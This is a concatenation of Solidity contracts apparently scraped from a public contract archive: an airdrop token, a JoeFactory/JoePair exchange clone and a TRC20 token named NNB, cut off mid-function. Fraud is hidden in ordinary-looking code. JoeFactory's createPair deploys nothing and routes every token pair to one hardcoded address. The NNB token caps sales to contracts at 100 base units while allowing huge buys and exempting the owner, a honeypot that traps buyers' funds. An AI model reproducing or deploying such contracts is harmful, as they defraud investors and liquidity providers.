modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 129000000e1;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 1 / 10;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 10;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 1e1;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 209,669 | 10,868 |
f23c3bcfc06aca288baf1b03acfed0874ea995f30f170d108646a5cff8e38348
| 19,888 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/25/256ea01c19224091c81512c2cd20e6fb4f276328_JoeFactory.sol
| 5,357 | 18,606 |
pragma solidity =0.6.12;
// SPDX-License-Identifier: GPL-3.0
interface IJoeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
library SafeMathJoe {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
contract JoeERC20 {
using SafeMathJoe for uint256;
string public constant name = "Joe LP Token";
string public constant symbol = "JLP";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner,
address spender,
uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from,
address to,
uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value) external returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external {
require(deadline >= block.timestamp, "Joe: EXPIRED");
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "Joe: INVALID_SIGNATURE");
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20Joe {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
}
interface IJoeCallee {
function joeCall(address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data) external;
}
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
contract JoePair is JoeERC20 {
using SafeMathJoe for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, "Joe: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
returns (uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token,
address to,
uint256 value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "Joe: TRANSFER_FAILED");
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, "Joe: FORBIDDEN"); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), "Joe: OVERFLOW");
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IJoeFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint256 balance0 = IERC20Joe(token0).balanceOf(address(this));
uint256 balance1 = IERC20Joe(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
address migrator = IJoeFactory(factory).migrator();
if (msg.sender == migrator) {
liquidity = IMigrator(migrator).desiredLiquidity();
require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity");
} else {
require(migrator == address(0), "Must not have migrator");
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, "Joe: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20Joe(_token0).balanceOf(address(this));
uint256 balance1 = IERC20Joe(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, "Joe: INSUFFICIENT_LIQUIDITY_BURNED");
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20Joe(_token0).balanceOf(address(this));
balance1 = IERC20Joe(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, "Joe: INSUFFICIENT_OUTPUT_AMOUNT");
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, "Joe: INSUFFICIENT_LIQUIDITY");
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, "Joe: INVALID_TO");
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IJoeCallee(to).joeCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20Joe(_token0).balanceOf(address(this));
balance1 = IERC20Joe(_token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, "Joe: INSUFFICIENT_INPUT_AMOUNT");
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(1000**2), "Joe: K");
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20Joe(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20Joe(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20Joe(token0).balanceOf(address(this)),
IERC20Joe(token1).balanceOf(address(this)),
reserve0,
reserve1);
}
}
contract JoeFactory is IJoeFactory {
address public override feeTo;
address public override feeToSetter;
address public override migrator;
mapping(address => mapping(address => address)) public override getPair;
address[] public override allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function allPairsLength() external view override returns (uint256) {
return allPairs.length;
}
function pairCodeHash() external pure returns (bytes32) {
return keccak256(type(JoePair).creationCode);
}
function createPair(address tokenA, address tokenB) external override returns (address pair) {
require(tokenA != tokenB, "Joe: IDENTICAL_ADDRESSES");
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "Joe: ZERO_ADDRESS");
require(getPair[token0][token1] == address(0), "Joe: PAIR_EXISTS"); // single check is sufficient
pair = 0x3eEd430Cd45c5E2b45aA1Adc609Cc77C6728d45b;
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == feeToSetter, "Joe: FORBIDDEN");
feeTo = _feeTo;
}
function setMigrator(address _migrator) external override {
require(msg.sender == feeToSetter, "Joe: FORBIDDEN");
migrator = _migrator;
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, "Joe: FORBIDDEN");
feeToSetter = _feeToSetter;
}
}
| 96,087 | 10,869 |
2d5b423d0724e75bf757e43125e4f2debc4f2699855dcbe2a59c9fd3dea9c4f5
| 26,568 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TAgiHD1Mp2KcR7MBuFoBA9LMqoAwqVcZYr_Token.sol
| 4,139 | 16,120 |
//SourceUnit: 6.12.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Token is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'NNB';
string private _symbol = 'NNB';
uint8 private _decimals = 18;
uint256 private _totalSupply = 100000000 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 1;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 1;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 1;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 5000 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private maxSale= 100 * 1**uint256(_decimals);
uint256 private maxBuy= 10000000 * 10**uint256(_decimals);
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 0 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if(Address.isContract(sender)&&!_isExcludedFromFee[sender]){
require(amount<=maxBuy);
}
if(Address.isContract(recipient)&&!_isExcludedFromFee[sender]){
require(amount<=maxSale);
}
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool||(!Address.isContract(sender)&&!Address.isContract(recipient))) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
